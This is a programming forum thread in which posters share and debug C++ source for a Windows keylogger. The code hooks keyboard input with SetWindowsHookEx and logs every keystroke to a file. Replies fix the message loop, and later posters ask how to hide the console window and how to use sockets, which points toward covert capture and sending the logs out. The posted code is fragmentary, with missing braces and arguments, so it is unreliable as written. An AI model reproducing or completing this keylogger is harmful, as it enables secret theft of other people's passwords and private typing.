Start New Discussion within our Software Development Community
#define _WIN32_WINNT 0x0500


using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {

			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;

			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
				out << char(tolower(p->vkCode));


	return CallNextHookEx(NULL, nCode, wParam, lParam);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(

	MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);


	return 0;

Hey it worked when I put messagebox after that code, but else it won't work as I modified it abit to work with my command line program heres the start code:

HWND Handle = GetConsoleWindow();
	HINSTANCE hInstance = (HINSTANCE)GetWindowLong( Handle, GWL_HINSTANCE );
HHOOK KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);

That code won't work if I don't put messagebox, is there any other way to make it work than messagebox?

You should not execute any code of yours if the nCode parameter passed to your hook procedure is less than zero (actually it should be equal to HC_ACTION, which is defined as zero in WinUser.h).

Thanks very much for reply, but how should I do it that way that I don't have to put messagebox that it runs other code while its keylogging?

@Silvershaft: In which case, you should put your hook code in a DLL and then load it from an executable. Your executable will control the functionality of the hook.

Search MSDN and CodeProject for samples on the said topic. Also, why are you writing a keylogger?

@Silvershaft: Yes, that's a perfectly written article, which also contains some neatly written theory on hooks and DLLs in general. That must help you understand how it works too. Also, that's a mouse hook (not a keyboard hook), although the fundamentals are the same.

But if you're trying this for the sake of learning, then any hook should do.

MSDN says that GetMessage executed by an application executes the keyboard_hook. Replace the messagebox() by the following code:

MSG messages;
while (GetMessage (&messages, NULL, 0, 0))
        /* Translate virtual-key messages into character messages */
        /* Send message to WindowProcedure */

I used code blocks compilor and it's giving some errors

I used visual studio, it should work on code blocks but you may have to adjust the settings for it to work.

I replaced the messagebox() with the above code and it is working fine,. but the only problem is that i get a console window and when i close that window then only i get the keys in the output file. is there a way to avoid doing this without the console window getting displayed?

Is there a standard library exist in c++ for sockets? if so can anybody give details about those libraries?

The article starter has earned a lot of community kudos, and such articles offer a bounty for quality replies.